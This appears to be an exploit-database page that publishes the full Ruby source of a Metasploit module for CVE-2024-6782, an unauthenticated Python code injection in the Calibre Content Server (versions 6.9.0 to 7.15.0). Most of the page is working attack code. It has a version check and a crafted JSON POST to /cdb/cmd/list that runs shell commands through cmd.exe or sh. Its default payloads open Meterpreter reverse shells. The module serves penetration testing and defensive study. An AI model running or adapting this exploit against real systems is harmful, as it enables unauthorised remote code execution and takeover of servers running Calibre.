Headline
Calibre 7.15.0 Python Code Injection
This Metasploit module exploits a Python code injection vulnerability in the Content Server component of Calibre version 6.9.0 through 7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Calibre Python Code Injection (CVE-2024-6782)', 'Description' => %q{ This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Amos Ng', # Discovery & PoC 'Michael Heinzl', # MSF exploit ], 'References' => [ [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'], [ 'CVE', '2024-6782'] ], 'DisclosureDate' => '2024-07-31', 'Platform' => ['win', 'linux', 'unix'], 'Arch' => [ ARCH_CMD ], 'Payload' => { 'BadChars' => '\\' }, 'Targets' => [ [ 'Windows_Fetch', { 'Arch' => [ ARCH_CMD ], 'Platform' => 'win', 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL', 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' }, 'Type' => :win_fetch } ], [ 'Linux Command', { 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8080) ] ) end def check begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError return CheckCode::Unknown end if res && res.code == 200 data = res.body.to_s pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/ version = data.match(pattern) if version[1].nil? return CheckCode::Unknown else vprint_status('Version retrieved: ' + version[1].to_s) end if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0')) return CheckCode::Appears else return CheckCode::Safe end else return CheckCode::Unknown end end def exploit execute_command(payload.encoded) end def execute_command(cmd) print_status('Sending payload...') exec_calibre(cmd) print_status('Exploit finished, check thy shell.') end def exec_calibre(cmd) payload = '['\ '["template"], '\ '"", '\ '"", '\ '"", '\ '1,'\ '"python:def evaluate(a, b):\\n '\ 'import subprocess\\n '\ 'try:\\n '\ "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\ 'except Exception:\\n '\ "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\ ']' res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'data' => payload, 'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list') }) if res && res.code == 200 print_good('Command successfully executed, check your shell.') elsif res && res.code == 400 fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.') end endend